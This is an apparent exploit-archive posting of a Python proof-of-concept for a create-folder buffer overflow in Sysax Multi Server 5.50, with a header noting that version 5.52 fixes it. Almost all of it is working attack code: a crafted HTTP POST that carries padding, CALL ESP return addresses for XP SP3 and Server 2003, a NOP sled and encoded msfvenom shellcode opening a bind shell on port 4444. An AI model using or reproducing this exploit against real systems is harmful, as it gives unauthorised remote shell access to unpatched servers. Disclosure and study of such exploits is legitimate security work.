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Sysax Multi Server 5.50 Buffer Overflow

Sysax Multi Server 5.50 Buffer Overflow
Posted Jan 18, 2012
Authored by Craig Freyman

Sysax Multi Server version 5.50 create folder buffer overflow exploit with bindshell code for port 4444.

tags | exploit, overflow
MD5 | 31d14c0cc8f4763ef8a59ac26a9f9443

Sysax Multi Server 5.50 Buffer Overflow

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#!/usr/bin/python
##########################################################################################################
#Title: Sysax Multi Server 5.50 Create Folder BOF
#Author: Craig Freyman (@cd1zz)
#Tested on: XP SP3 32bit and Server 2003 SP2 32bit(No DEP)
#Date Discovered: January 13, 2012
#Vendor Contacted: January 15, 2012
#Vendor Response: January 16, 2012
#Vendor Fix: Version 5.52 released on January 17, 2012 fixes issue
#Additional exploit details, notes and assumptions can be found here:
#http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html
##########################################################################################################

import socket,sys

if len(sys.argv) != 5:
print "[+] Usage: ./filename.py <Target IP> <Port> <SID> <XP or 2K3>"
sys.exit(1)

target = sys.argv[1]
port = int(sys.argv[2])
sid = sys.argv[3]
os = sys.argv[4]

if len(sid) != 40:
print "[X] Something is wrong with your SID, it should be 40 bytes long."
print "[X] Refer to http://www.pwnag3.com/2012/01/sysax-multi-server-550-exploit.html"
sys.exit(1)

#msfvenom -p windows/shell_bind_tcp LPORT=4444 -e x86/shikata_ga_nai -b "\x00"
#[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

shell = ("\xda\xdc\xd9\x74\x24\xf4\x5f\x2b\xc9\xb8\xb7\x6e\xc5\xe9"
"\xb1\x56\x83\xc7\x04\x31\x47\x14\x03\x47\xa3\x8c\x30\x15"
"\x23\xd9\xbb\xe6\xb3\xba\x32\x03\x82\xe8\x21\x47\xb6\x3c"
"\x21\x05\x3a\xb6\x67\xbe\xc9\xba\xaf\xb1\x7a\x70\x96\xfc"
"\x7b\xb4\x16\x52\xbf\xd6\xea\xa9\x93\x38\xd2\x61\xe6\x39"
"\x13\x9f\x08\x6b\xcc\xeb\xba\x9c\x79\xa9\x06\x9c\xad\xa5"
"\x36\xe6\xc8\x7a\xc2\x5c\xd2\xaa\x7a\xea\x9c\x52\xf1\xb4"
"\x3c\x62\xd6\xa6\x01\x2d\x53\x1c\xf1\xac\xb5\x6c\xfa\x9e"
"\xf9\x23\xc5\x2e\xf4\x3a\x01\x88\xe6\x48\x79\xea\x9b\x4a"
"\xba\x90\x47\xde\x5f\x32\x0c\x78\x84\xc2\xc1\x1f\x4f\xc8"
"\xae\x54\x17\xcd\x31\xb8\x23\xe9\xba\x3f\xe4\x7b\xf8\x1b"
"\x20\x27\x5b\x05\x71\x8d\x0a\x3a\x61\x69\xf3\x9e\xe9\x98"
"\xe0\x99\xb3\xf4\xc5\x97\x4b\x05\x41\xaf\x38\x37\xce\x1b"
"\xd7\x7b\x87\x85\x20\x7b\xb2\x72\xbe\x82\x3c\x83\x96\x40"
"\x68\xd3\x80\x61\x10\xb8\x50\x8d\xc5\x6f\x01\x21\xb5\xcf"
"\xf1\x81\x65\xb8\x1b\x0e\x5a\xd8\x23\xc4\xed\xde\xed\x3c"
"\xbe\x88\x0f\xc3\x51\x15\x99\x25\x3b\xb5\xcf\xfe\xd3\x77"
"\x34\x37\x44\x87\x1e\x6b\xdd\x1f\x16\x65\xd9\x20\xa7\xa3"
"\x4a\x8c\x0f\x24\x18\xde\x8b\x55\x1f\xcb\xbb\x1c\x18\x9c"
"\x36\x71\xeb\x3c\x46\x58\x9b\xdd\xd5\x07\x5b\xab\xc5\x9f"
"\x0c\xfc\x38\xd6\xd8\x10\x62\x40\xfe\xe8\xf2\xab\xba\x36"
"\xc7\x32\x43\xba\x73\x11\x53\x02\x7b\x1d\x07\xda\x2a\xcb"
"\xf1\x9c\x84\xbd\xab\x76\x7a\x14\x3b\x0e\xb0\xa7\x3d\x0f"
"\x9d\x51\xa1\xbe\x48\x24\xde\x0f\x1d\xa0\xa7\x6d\xbd\x4f"
"\x72\x36\xcd\x05\xde\x1f\x46\xc0\x8b\x1d\x0b\xf3\x66\x61"
"\x32\x70\x82\x1a\xc1\x68\xe7\x1f\x8d\x2e\x14\x52\x9e\xda"
"\x1a\xc1\x9f\xce")

#No DEP bypass :(
if os == "2K3":
junk = "\x41" * 648
jump = "\xDF\xF2\xE5\x77" #77E5F2DF CALL ESP kernel32.dll
buf = junk + jump + "\x90" * 10 + shell + "\x44" * 1000

if os == "XP":
junk = "\x41" * 667
jump = "\xF0\x69\x83\x7C" #7C8369F0 CALL ESP kernel32.dll
buf = junk + jump + "\x90" * 50 + shell + "\x44" * 1000

print "================================================"
print "[*] Sysax Multi Server 5.50 Create Folder BOF"
print "[*] ------------------by cd1zz------------------"
print "[*] Launching exploit against " + target + "...."
print "================================================"

head = "POST /scgi?sid="+sid+"&pid=mk_folder2_name1.htm HTTP/1.1\r\n"
head += "Host: \r\n"
head += "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:9.0.1) Gecko/20100101 Firefox/9.0.1\r\n"
head += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
head += "Accept-Language: en-us,en;q=0.5\r\n"
head += "Accept-Encoding: gzip, deflate\r\n"
head += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n"
head += "Proxy-Connection: keep-alive\r\n"
head += "Referer: http://"+target+"/scgi?sid="+sid+"&pid=mk_folder1_name1.htm\r\n"
head += "Content-Type: multipart/form-data; boundary=---------------------------1190753071675116720811342231\r\n"
head += "Content-Length: 171\r\n\r\n"
head += "-----------------------------1190753071675116720811342231\r\n"
head += "Content-Disposition: form-data; name=\"e2\"\r\n\r\n"
head += buf+"\r\n"
head += "-----------------------------1190753071675116720811342231--\r\n\r\n"

try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((target, port))
s.send(head + "\r\n")
print "[*] Payload sent!"
print "[*] Go check your shell..."
s.recv(1024)
s.close()
except:
print "[X] Meh! Fail!"




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